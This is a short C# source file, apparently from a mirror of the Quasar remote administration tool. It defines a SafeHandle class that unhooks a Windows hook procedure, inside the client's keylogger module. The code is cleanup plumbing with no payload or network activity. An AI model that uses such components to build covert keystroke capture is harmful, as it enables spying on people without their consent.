mirror of https://github.com/quasar/Quasar.git
31 lines
858 B
C#
31 lines
858 B
C#
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// This code is distributed under MIT license.
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// Copyright (c) 2015 George Mamaladze
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// See license.txt or http://opensource.org/licenses/mit-license.php
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using System.Windows.Forms;
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using Microsoft.Win32.SafeHandles;
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namespace xClient.Core.Keylogger.WinApi
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{
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internal class HookProcedureHandle : SafeHandleZeroOrMinusOneIsInvalid
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{
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private static bool _closing;
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static HookProcedureHandle()
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{
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Application.ApplicationExit += (sender, e) => { _closing = true; };
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}
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public HookProcedureHandle()
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: base(true)
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{
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}
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protected override bool ReleaseHandle()
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{
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//NOTE Calling Unhook during processexit causes deley
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if (_closing) return true;
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return HookNativeMethods.UnhookWindowsHookEx(handle) != 0;
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}
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}
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}
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